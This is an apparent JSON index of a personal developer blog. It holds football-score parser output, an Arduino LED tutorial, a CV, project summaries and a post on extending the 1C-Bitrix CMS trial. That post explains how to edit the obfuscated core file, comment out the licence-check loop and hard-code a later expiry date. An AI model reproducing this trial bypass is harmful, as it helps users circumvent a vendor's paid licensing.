Murcielagos 1:0 Dorados de Sinaloa 05:00 Veracruz 2:1 Lobos BUAP NIGERIA Premier League 18:00 Abia Warriors 2:0 Giwa 18:00 Akwa 1:1 Enyimba 18:00 Enugu 0:0 Taraba 18:00 Kano 0:1 Heartland 18:00 Kwara 0:1 Dolphins 18:00 Lobi 2:0 Bayelsa 18:00 Nasarawa 2:1 El Kanemi 18:00 Shooting 0:1 Wikki 18:00 Warri 1:0 Ifeanyi Ubah NORTH \u0026amp; CENTRAL AMERICA CONCACAF Champions League 03:00 Querétaro 2:0 San Francisco 05:00 Municipal 0:1 Real Salt Lake 05:00 Santos Laguna 4:0 W Connection NORTH \u0026amp; CENTRAL AMERICA International Champions Cup 22:00 Chelsea : Fiorentina PHILIPPINES UFL 12:15 Pachanga 1:3 Stallion 14:45 Manila Jeepney 2:1 Ceres SINGAPORE S.League 15:15 Brunei DPMM 3:1 Geylang SLOVAKIA Slovak Cup 19:00 Rudina : Oravské Veselé SOUTH AFRICA MTN 8 Cup 20:30 Kaizer Chiefs : Maritzburg Utd 20:30 Mamelodi Sundowns : Bloem Celtic SWEDEN Division 2 - Södra Götaland 20:00 Asarums : Nosaby IF 20:00 Prespa Birlik : Lindsdals SWEDEN Svenska Cupen - Qualification 19:00 Husie : Hollvikens 19:30 Upsala : Akropolis 20:00 Melleruds : Carlstad 20:00 Nybro : Oskarshamns 20:00 Ostersund IFK : Harnosands 20:00 Sandvikens : Brage 20:00 Sollentuna : Vasalunds 20:00 Vara SK : Norrby 20:30 Nacka FF : Huddinge 20:45 Gute : Sodertalje FK SWEDEN Allsvenskan Women 20:00 Eskilstuna United W : Rosengard W USA USL 03:00 Oklahoma City Energy 2:0 Los Angeles 2 VENEZUELA Copa Venezuela 22:30 Atl. Socopo : Zamora VIETNAM V-League 14:00 Than Quang Ninh 3:0 Gia Lai WORLD Club Friendly 18:00 Zawisza (Pol) 0:1 Anorthosis (Cyp) 18:30 Torino (Ita) 0:0 Pro Vercelli (Ita) 19:00 Al-Sadd (Qat) : Al Ain (Uae) 19:00 Entella (Ita) : Genoa (Ita) 19:00 Legnica (Pol) : AEK (Gre) 19:00 Veria (Gre) : Skoda Xanthi (Gre) 19:00 Verona (Ita) : Al-Hilal (Sau) 19:30 Tudelano (Esp) : Ebro (Esp) 20:00 Iraklis (Gre) : Panthrakikos (Gre) 20:00 Murcia (Esp) : Elche (Esp) 20:00 Tondela (Por) : Berkane (Mar) 21:00 Estoril (Por) : Setubal (Por) 21:00 Rio Ave (Por) : Valladolid (Esp) 21:30 Guijuelo (Esp) : UD Logrones (Esp) 21:30 Leganes (Esp) : Rayo Vallecano (Esp) 21:30 Ponferradina (Esp) : Gijon (Esp) 21:30 R. Oviedo (Esp) : Dep. La Coruna (Esp) 21:30 Udinese (Ita) : Spal (Ita) 21:45 Buxton (Eng) : Sheffield Utd U21 (Eng) 21:45 Pisa (Ita) : Empoli (Ita) 23:00 Barcelona (Esp) : AS Roma (Ita) WORLD Audi Cup 19:15 Tottenham : AC Milan 21:45 Bayern Munich : Real Madrid WORLD Friendly International Women 19:00 Slovakia W : United Arab Emirates W ","permalink":"https://www.ryzhak.com/creating-html-parser-using-golang/","summary":"This time we are going to create a HTML parser for \u003ca href=\"http://www.flashscore.com\"\u003ehttp://www.flashscore.com\u003c/a\u003e/ .","title":"Creating HTML parser using golang"},{"content":"In this tutorial we are going to create our first arduino project. It will be a simple blinking light-emitting diode.\nTo install Arduino IDE on your Linux Mint system you should: 1. In the terminal type and install Arduino IDE\nsudo apt-get install arduino 2. Add your user to the dialout group\nsudo usermod -aG dialout %username% where %username% is your username 3. Reboot your computer 4. Plug in your Arduino board. Open Arduino IDE and click Tools -\u0026gt; Serial Ports -\u0026gt; /dev/ttyACMx. There you should see the port number your Arduino board connencted. 5. Go to File -\u0026gt; Examples -\u0026gt; 01.Basics -\u0026gt; AnalogReadSerial and try to upload a project to your board. Everything should be ok.\nFor our project we need: 1x Arduino Uno 1x Breadboard 1x LED 5mm 1x 220 Ohm resistor 2x wires\nArduino project schematic: Sketch:\n//this function executes only 1 time when you initialize a program void setup() { //setup pin №13 in the output mode(voltage source) pinMode(13, OUTPUT); } void loop() { //apply high signal on the pin №13(5V) //current will run through the LED and it will start to shine digitalWrite(13, HIGH); //delay microcontroller in this state for 100ms delay(100); //apply low signal on the pin №13(0V) //light will go out digitalWrite(13, LOW); //delay microcontroller in this state for 900ms delay(900); //once you upload a sketch function loop starts working repeatedly //LED starts blinking one time per second } Result: ","permalink":"https://www.ryzhak.com/getting-started-with-arduino/","summary":"In this tutorial we are going to create our first arduino project. It will be a simple blinking light-emitting diode.","title":"Getting started with Arduino"},{"content":"Sometimes it is necessary to prolongate standard Bitrix test period because when developing a large project 30 days are not enough. So to change the expiration date you should: 1. Open the file /bitrix/modules/main/include.php, it is obfuscated 2. Format the code from the file using, for example www.phpformatter.com 3. Search the file for the word \u0026ldquo;OLDSITEEXPIREDATE\u0026rdquo; 4. We are looking for strings:\n$GLOBALS[___194666148(118)] = OLDSITEEXPIREDATE; $GLOBALS[___194666148(119)] = array(); I\u0026rsquo;ve got this strings on lines 978 and 979 If we decode them, we\u0026rsquo;d get:\n$GLOBALS[\u0026#34;SiteExpireDate\u0026#34;] = OLDSITEEXPIREDATE; $GLOBALS[\u0026#34;arCustomTemplateEngines\u0026#34;] = array(); 5. Before those lines there are 2 more:\n$GLOBALS[\u0026#39;____775262004\u0026#39;][67]($_2120651516, $_671325857); $GLOBALS[\u0026#39;____775262004\u0026#39;][68]($_2127057936, $_895978193); I\u0026rsquo;ve got this strings on lines 976 and 977 They are equal to:\ndefine( \u0026#34;OLDSITEEXPIREDATE\u0026#34;, $_671325857 ); define( \u0026#34;SITEEXPIREDATE\u0026#34;, $_895978193 ); 6. If we change $_671325857 and $_895978193 to 1682990400, this is 05.02.23 in unix format, we\u0026rsquo;d prolongate test period. 7. You should also comment the for loop before these lines(I\u0026rsquo;ve got this loop on line 975):\n$GLOBALS[\u0026#39;____775262004\u0026#39;][67]($_2120651516, $_671325857); $GLOBALS[\u0026#39;____775262004\u0026#39;][68]($_2127057936, $_895978193); To sum up Old code:\nfor ($_707311407 = (1316 / 2 - 658), $_1499012735 = ($GLOBALS[\u0026#39;____775262004\u0026#39;][62]() \u0026lt; $GLOBALS[\u0026#39;____775262004\u0026#39;][63]((1116 / 2 - 558), (808 - 2 * 404), (1328 / 2 - 664), round(0 + 2.5 + 2.5), round(0 + 0.25 + 0.25 + 0.25 + 0.25), round(0 + 2010)) || $_671325857 \u0026lt;= round(0 + 2.5 + 2.5 + 2.5 + 2.5)), $_1119037036 = ($_671325857 \u0026lt; $GLOBALS[\u0026#39;____775262004\u0026#39;][64]((898 - 2 * 449), (938 - 2 * 469), min(134, 0, 44.666666666667), Date(___194666148(115)), $GLOBALS[\u0026#39;____775262004\u0026#39;][65](___194666148(116)) - $_547501663, $GLOBALS[\u0026#39;____775262004\u0026#39;][66](___194666148(117)))); $_707311407 \u0026lt; round(0 + 3.3333333333333 + 3.3333333333333 + 3.3333333333333), $_1499012735 || $_1119037036 || $_671325857 != $_895978193; $_707311407++, $GLOBALS[\u0026#39;_____671748018\u0026#39;][11]($_229081977)); $GLOBALS[\u0026#39;____775262004\u0026#39;][67]($_2120651516, $_671325857); $GLOBALS[\u0026#39;____775262004\u0026#39;][68]($_2127057936, $_895978193); $GLOBALS[___194666148(118)] = OLDSITEEXPIREDATE; $GLOBALS[___194666148(119)] = array(); New code:\n/* for ($_707311407 = (1316 / 2 - 658), $_1499012735 = ($GLOBALS[\u0026#39;____775262004\u0026#39;][62]() \u0026lt; $GLOBALS[\u0026#39;____775262004\u0026#39;][63]((1116 / 2 - 558), (808 - 2 * 404), (1328 / 2 - 664), round(0 + 2.5 + 2.5), round(0 + 0.25 + 0.25 + 0.25 + 0.25), round(0 + 2010)) || $_671325857 \u0026lt;= round(0 + 2.5 + 2.5 + 2.5 + 2.5)), $_1119037036 = ($_671325857 \u0026lt; $GLOBALS[\u0026#39;____775262004\u0026#39;][64]((898 - 2 * 449), (938 - 2 * 469), min(134, 0, 44.666666666667), Date(___194666148(115)), $GLOBALS[\u0026#39;____775262004\u0026#39;][65](___194666148(116)) - $_547501663, $GLOBALS[\u0026#39;____775262004\u0026#39;][66](___194666148(117)))); $_707311407 \u0026lt; round(0 + 3.3333333333333 + 3.3333333333333 + 3.3333333333333), $_1499012735 || $_1119037036 || $_671325857 != $_895978193; $_707311407++, $GLOBALS[\u0026#39;_____671748018\u0026#39;][11]($_229081977)); */ $_671325857 = \u0026#34;1682990400\u0026#34;; $_895978193 = \u0026#34;1682990400\u0026#34;; $GLOBALS[\u0026#39;____775262004\u0026#39;][67]($_2120651516, $_671325857); $GLOBALS[\u0026#39;____775262004\u0026#39;][68]($_2127057936, $_895978193); $GLOBALS[___194666148(118)] = OLDSITEEXPIREDATE; $GLOBALS[___194666148(119)] = array(); Changing the expiration date this way will stop Bitrix autoupdates, so you\u0026rsquo;d better buy a license.\n","permalink":"https://www.ryzhak.com/changing-the-expiration-date-of-the-1c-bitrix-cms/","summary":"Sometimes it is necessary to prolongate standard Bitrix test period because when developing a large project 30 days are not enough.","title":"Changing the expiration date of the 1C Bitrix CMS"},{"content":"email: ryzhak.vladimir@gmail.com\ntelegram: @vryzhak\n","permalink":"https://www.ryzhak.com/contact/","summary":"\u003cp\u003eemail: \u003ca href=\"mailto:ryzhak.vladimir@gmail.com\"\u003eryzhak.vladimir@gmail.com\u003c/a\u003e\u003cbr\u003e\ntelegram: \u003ca href=\"https://t.me/vryzhak\"\u003e@vryzhak\u003c/a\u003e\u003c/p\u003e","title":"Contact"},{"content":"","permalink":"https://www.ryzhak.com/blog/","summary":"","title":"Blog"},{"content":"Hi guys! I am Vladimir, full stack developer from Krasnodar, Russia. At the moment I\u0026rsquo;m working at Ticketscloud. Feel free to contact me.\n","permalink":"https://www.ryzhak.com/about/","summary":"\u003cp\u003eHi guys! I am Vladimir, full stack developer from Krasnodar, Russia. At the moment I\u0026rsquo;m working at \u003ca href=\"https://ticketscloud.com/\"\u003eTicketscloud\u003c/a\u003e. Feel free to contact me.\u003c/p\u003e","title":"About"},{"content":"Tech Blog\n","permalink":"https://www.ryzhak.com/home/","summary":"\u003cp\u003eTech Blog\u003c/p\u003e","title":"Vladimir Ryzhak - Blockchain Engineer"},{"content":"AZI is an online card game. Rules are similar with Texas Holdem Poker, but with a few changes. My task was to develop backend for the game, API to communicate with desktop, android and ios apps, website and admin part of the website to make and monitor transactions, payments, users and other stuff.\n","permalink":"https://www.ryzhak.com/projects/azi/","summary":"\u003cp\u003eAZI is an online card game. Rules are similar with Texas Holdem Poker, but with a few changes. My task was to develop backend for the game, API to communicate with desktop, android and ios apps, website and admin part of the website to make and monitor transactions, payments, users and other stuff.\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/projects/azi/1.jpg\"\u003e\n\u003cimg loading=\"lazy\" src=\"/projects/azi/2.jpg\"\u003e\n\u003cimg loading=\"lazy\" src=\"/projects/azi/3.jpg\"\u003e\n\u003cimg loading=\"lazy\" src=\"/projects/azi/4.jpg\"\u003e\n\u003cimg loading=\"lazy\" src=\"/projects/azi/5.jpg\"\u003e\n\u003cimg loading=\"lazy\" src=\"/projects/azi/6.jpg\"\u003e\n\u003cimg loading=\"lazy\" src=\"/projects/azi/7.jpg\"\u003e\u003c/p\u003e","title":"AZI"},{"content":"BetOnRefs is a web and iOS app for predicting number of bookings and red cards in football matches.\n","permalink":"https://www.ryzhak.com/projects/betonrefs/","summary":"\u003cp\u003eBetOnRefs is a web and iOS app for predicting number of bookings and red cards in football matches.\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/projects/betonrefs/1.png\"\u003e\n\u003cimg loading=\"lazy\" src=\"/projects/betonrefs/2.png\"\u003e\n\u003cimg loading=\"lazy\" src=\"/projects/betonrefs/3.png\"\u003e\n\u003cimg loading=\"lazy\" src=\"/projects/betonrefs/4.png\"\u003e\u003c/p\u003e","title":"BetOnRefs"},{"content":"BookieBeater is a service for predicting football results. You can also watch football video streams using this service. All predictions are made with the help of neural networks and teams’ statistics. There are 13 football leagues available for prediction at the moment.\n","permalink":"https://www.ryzhak.com/projects/bookiebeater/","summary":"\u003cp\u003eBookieBeater is a service for predicting football results. You can also watch football video streams using this service. All predictions are made with the help of neural networks and teams’ statistics. There are 13 football leagues available for prediction at the moment.\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/projects/bookiebeater/1.png\"\u003e\n\u003cimg loading=\"lazy\" src=\"/projects/bookiebeater/2.png\"\u003e\n\u003cimg loading=\"lazy\" src=\"/projects/bookiebeater/3.png\"\u003e\n\u003cimg loading=\"lazy\" src=\"/projects/bookiebeater/4.png\"\u003e\n\u003cimg loading=\"lazy\" src=\"/projects/bookiebeater/5.png\"\u003e\u003c/p\u003e","title":"BookieBeater"},{"content":"Vladimir Ryzhak DeFi Engineer Contacts 📧 ryzhak.vladimir@gmail.com 🌐 https://www.ryzhak.com 💬 telegram: https://t.me/vryzhak 🐙 github: https://github.com/ryzhak Summary Senior Blockchain and Full-Stack Engineer with 12+ years of experience architecting decentralized applications, smart contracts, and scalable microservices. Proven track record of leading technical strategy—from launching a fully functional USD-pegged stablecoin to building custom DAO frameworks and enterprise-grade ticketing platforms. Passionate about bridging Web3 innovation with robust, production-grade engineering, with a strong emphasis on security auditing and team leadership.\nSkills \u0026amp; Tech Stack Blockchain: EVM/UTXO networks, Solidity, Foundry, Geth\nBackend: Node.js, PHP, Python, Go, Java, C#, Rust\nDatabases: MySQL, PostgreSQL, MongoDB, Redis, ClickHouse, Supabase\nInfrastructure \u0026amp; Tools: Docker, Ansible, CI/CD (GitHub Actions), Cloudflare, Azure, Grafana, Prometheus\nFrontend: React, Angular, TypeScript Mobile: React Native, Android, iOS Other: Machine Learning (Python), Message Queues (Bull, Kafka, RabbitMQ), OpenAPI/Swagger\nSmart Contract Security Audits Portfolio 🔗 github.com/ryzhak/audits\nExperience DeFi Engineer LiteCrypto Business · Feb 2026 – Present\nbusiness.litecrypto.org\nCreated scalable microservices for cryptocurrency payment processor. Researched integrations with new blockchain networks. Built UI for end users. Key Achievements:\nLaunched a cryptocurrency payment gateway. Built a cryptocurrency exchange. Stack: TypeScript, Node.js, Postgres, BullMQ, React\nInfrastructure: GitHub CI/CD, Cloudflare\nBlockchain Technical Architect Ubiquity Finance · Oct 2022 – Jan 2026 · 3 yrs 4 mos\ngithub.com/ubiquity\nDeveloped smart contracts, frontend, and backend microservices. Gathered requirements from the CEO and decomposed tasks for the development team. Researched integrations, technologies, and methods for optimal business solutions. Conducted code reviews and introduced a unified Kanban board for all projects. Formalized PR requirements and created a task priority matrix. Key Achievements:\nLaunched a USD-pegged stablecoin (UUSD). Built a GitHub bot with a plugin system to automate company workflows. Developed microservices for fiat/crypto payouts and a Gnosis faucet. Created backend plugins for the GitHub bot: pricing, task-matcher, xp, vector-embeddings, register-crypto-wallet, auto-pr-merge, auto-disqualifier, start-stop-task, conversation-rewards. Developed UI frontends: demo stand, tasks, UUSD on-ramp, UBQ staking, permit2 allowance, onboarding, notifications, PK cipher, and audits. Implemented off-chain signed NFT rewards and an optimal RPC handler library. Performed security audits of smart contracts. Stack: Solidity, Foundry, TypeScript, Node.js, Supabase, Pinecone, Curve, Aave, Chainlink, OpenRouter\nInfrastructure: GitHub CI/CD, Cloudflare, Azure\nBlockchain Engineer (Freelance) Freelance · Oct 2021 – Sep 2022 · 1 yr\nDeveloped smart contracts and frontend for a cryptocurrency exchange based on Uniswap v2 (additional details under NDA). Stack: React, Solidity\nFull Stack Engineer crypto.tickets · Jan 2019 – Sep 2021 · 2 yrs 9 mos\nticketscloud.com\nDeveloped mobile applications, frontend, backend microservices, and smart contracts. Maintained a private Proof-of-Authority (PoA) blockchain. Key Achievements:\nDeveloped the mobile ticketing app \u0026ldquo;Vibe\u0026rdquo;. Built the \u0026ldquo;Ticketscloud Scanner\u0026rdquo; app for barcode scanning. Created microservices for PoA blockchain interaction, event importing, and monitoring. Launched a PoA blockchain based on Geth. Designed smart contracts for ticket sales and bonus accounting. Stack: React Native, Android (Java/Kotlin), iOS (Swift), Node.js, Python, Ansible, Grafana, Prometheus, Geth\nBlockchain Engineer Theta DAO · Aug 2018 – Dec 2018 · 5 mos\ngithub.com/Thetta\nDeveloped smart contracts for a Decentralized Autonomous Organization (DAO) framework. Built the frontend/backend for DAO users. Key Achievements:\nCreated a smart contract framework for launching DAOs. Developed a user-facing frontend for interacting with the DAO. Stack: Solidity, React, Node.js\nFull Stack Engineer Intis Telecom Asia · Apr 2016 – Jul 2018 · 2 yrs 4 mos\nintistele.com\nDeveloped internal and external web services for the company. Key Achievements:\nBuilt \u0026ldquo;Dobrokassa\u0026rdquo; – a web service for debt purchase (integrated with SOAP from NBKI and cloud signatures via Kontur.Diadoc). Developed \u0026ldquo;cli.co\u0026rdquo; – an analytics and URL shortening service. Created a web service for interacting with the LinkedIn API. Stack: Angular, PHP (Yii2), Node.js (Express), MySQL, ClickHouse, Bull Message Queue, OpenAPI/Swagger\nFull Stack Engineer (Freelance) Freelance · Aug 2015 – Mar 2016 · 8 mos\nDeveloped various third-party projects (see portfolio below). Full Stack Engineer FC Krasnodar · Nov 2013 – Jul 2015 · 1 yr 9 mos\nfckrasnodar.ru\nDeveloped internal web services for FC Krasnodar. Maintained and supported the official FC Krasnodar website. Key Achievements:\nBuilt a web service for medical inventory management. Developed a web service for camera surveillance. Created an analytics web service for tracking loaned football players. Launched the website for the FC Krasnodar youth academy. Built an online clothing store. Stack: Angular, PHP (Yii2), Joomla, Bitrix\nEducation Kuban State University · 2014\nDiploma of Specialist in Computer Science and Applied Mathematics\nKuban State University · 2014\nBachelor\u0026rsquo;s Degree in Translation and Interpreting (English)\nLanguages Russian: Native English: C1 (Advanced) Projects Blockchain Ubiquity Dollar Thetta Fantasy Football Chain CFD Trading Crypto Hands Football Coin Fomoast Auctions Web \u0026amp; Mobile Ticketscloud Scanner Vibe cli.co Fans in Tears Dobrokassa AZI BetOnRefs Dominator Slots BookieBeater FC Krasnodar Med App Lawyer CRM Totallo PSYLINE Tutorials WebRTC Tutorials for TutorialsPoint Yii2 Tutorials for TutorialsPoint Additional Information Blog: https://www.ryzhak.com Citizenship: Russia Relocation: Ready to relocate and travel on business trips. Driving License: Category B (own car). ","permalink":"https://www.ryzhak.com/cv/","summary":"\u003ch1 id=\"vladimir-ryzhak\"\u003eVladimir Ryzhak\u003c/h1\u003e\n\u003ch2 id=\"defi-engineer\"\u003eDeFi Engineer\u003c/h2\u003e\n\u003chr\u003e\n\u003ch2 id=\"contacts\"\u003eContacts\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e📧 \u003ca href=\"mailto:ryzhak.vladimir@gmail.com\"\u003eryzhak.vladimir@gmail.com\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e🌐 \u003ca href=\"https://www.ryzhak.com\"\u003ehttps://www.ryzhak.com\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e💬 telegram: \u003ca href=\"https://t.me/vryzhak\"\u003ehttps://t.me/vryzhak\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e🐙 github: \u003ca href=\"https://github.com/ryzhak\"\u003ehttps://github.com/ryzhak\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"summary\"\u003eSummary\u003c/h2\u003e\n\u003cp\u003eSenior Blockchain and Full-Stack Engineer with 12+ years of experience architecting decentralized applications, smart contracts, and scalable microservices. Proven track record of leading technical strategy—from launching a fully functional USD-pegged stablecoin to building custom DAO frameworks and enterprise-grade ticketing platforms. Passionate about bridging Web3 innovation with robust, production-grade engineering, with a strong emphasis on security auditing and team leadership.\u003c/p\u003e","title":"CV"},{"content":"My task was to create a CRM to help people cut their overdue loans. The following features were implemented: RBAC, user management, notifications, payments and integration with the national bureau of credit histories.\n","permalink":"https://www.ryzhak.com/projects/dobrokassa/","summary":"\u003cp\u003eMy task was to create a CRM to help people cut their overdue loans. The following features were implemented: RBAC, user management, notifications, payments and integration with the national bureau of credit histories.\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/projects/dobrokassa/1.png\"\u003e\n\u003cimg loading=\"lazy\" src=\"/projects/dobrokassa/2.png\"\u003e\n\u003cimg loading=\"lazy\" src=\"/projects/dobrokassa/3.png\"\u003e\u003c/p\u003e","title":"Dobrokassa"},{"content":"Dominator is a gambling game resembling classic slots. My task was to create a technical specification, API for mobile apps, CRM for managing users and finances.\n","permalink":"https://www.ryzhak.com/projects/dominator-slots/","summary":"\u003cp\u003eDominator is a gambling game resembling classic slots. My task was to create a technical specification, API for mobile apps, CRM for managing users and finances.\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/projects/dominator-slots/1.png\"\u003e\n\u003cimg loading=\"lazy\" src=\"/projects/dominator-slots/2.png\"\u003e\n\u003cimg loading=\"lazy\" src=\"/projects/dominator-slots/3.png\"\u003e\u003c/p\u003e","title":"Dominator Slots"},{"content":"Fans in Tears is a mobile app for football fans with memes, chats, social features and telegram bot.\n","permalink":"https://www.ryzhak.com/projects/fans-in-tears/","summary":"\u003cp\u003eFans in Tears is a mobile app for football fans with memes, chats, social features and telegram bot.\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/projects/fans-in-tears/1.png\"\u003e\n\u003cimg loading=\"lazy\" src=\"/projects/fans-in-tears/2.jpg\"\u003e\n\u003cimg loading=\"lazy\" src=\"/projects/fans-in-tears/3.jpg\"\u003e\n\u003cimg loading=\"lazy\" src=\"/projects/fans-in-tears/4.jpg\"\u003e\u003c/p\u003e","title":"Fans in Tears"},{"content":"FC Krasnodar medicine application is a CRM developed to monitor the usage of medicines by football players. My task was to develop backend and frontend parts of the web-application and transfer a database from the old version of the program to the new one.\n","permalink":"https://www.ryzhak.com/projects/fc-krasnodar-medicine-application/","summary":"\u003cp\u003eFC Krasnodar medicine application is a CRM developed to monitor the usage of medicines by football players. My task was to develop backend and frontend parts of the web-application and transfer a database from the old version of the program to the new one.\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/projects/fc-krasnodar-medicine-application/1.jpg\"\u003e\n\u003cimg loading=\"lazy\" src=\"/projects/fc-krasnodar-medicine-application/2.jpg\"\u003e\n\u003cimg loading=\"lazy\" src=\"/projects/fc-krasnodar-medicine-application/3.jpg\"\u003e\u003c/p\u003e","title":"FC Krasnodar Medicine Application"},{"content":"My task was to develop a CRM for a law company. The following features were implemented: RBAC, i18n, client application management, notifications and event log.\n","permalink":"https://www.ryzhak.com/projects/lawyer-crm/","summary":"\u003cp\u003eMy task was to develop a CRM for a law company. The following features were implemented: RBAC, i18n, client application management, notifications and event log.\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/projects/lawyer-crm/1.png\"\u003e\n\u003cimg loading=\"lazy\" src=\"/projects/lawyer-crm/2.png\"\u003e\n\u003cimg loading=\"lazy\" src=\"/projects/lawyer-crm/3.png\"\u003e\u003c/p\u003e","title":"Lawyer CRM"},{"content":"PSYLINE is an online service for psychological help. My task was to integrate WebRTC video and audio broadcasting, save video and audio streams on the server, setup video conferencing and webinar support in order to connect together psychologists and their clients.\n","permalink":"https://www.ryzhak.com/projects/psyline/","summary":"\u003cp\u003ePSYLINE is an online service for psychological help. My task was to integrate WebRTC video and audio broadcasting, save video and audio streams on the server, setup video conferencing and webinar support in order to connect together psychologists and their clients.\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/projects/psyline/1.png\"\u003e\n\u003cimg loading=\"lazy\" src=\"/projects/psyline/2.png\"\u003e\n\u003cimg loading=\"lazy\" src=\"/projects/psyline/3.png\"\u003e\u003c/p\u003e","title":"Psyline"},{"content":"Totallo is a web service for creating accumulator bets with the highest probability. It parses statistics of nearly 500 teams, creates a neural network for each team and makes accumulator bets with the highest probability of goals count scored in a single game.\n","permalink":"https://www.ryzhak.com/projects/totallo/","summary":"\u003cp\u003eTotallo is a web service for creating accumulator bets with the highest probability. It parses statistics of nearly 500 teams, creates a neural network for each team and makes accumulator bets with the highest probability of goals count scored in a single game.\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/projects/totallo/1.png\"\u003e\n\u003cimg loading=\"lazy\" src=\"/projects/totallo/2.png\"\u003e\n\u003cimg loading=\"lazy\" src=\"/projects/totallo/3.png\"\u003e\u003c/p\u003e","title":"Totallo"}]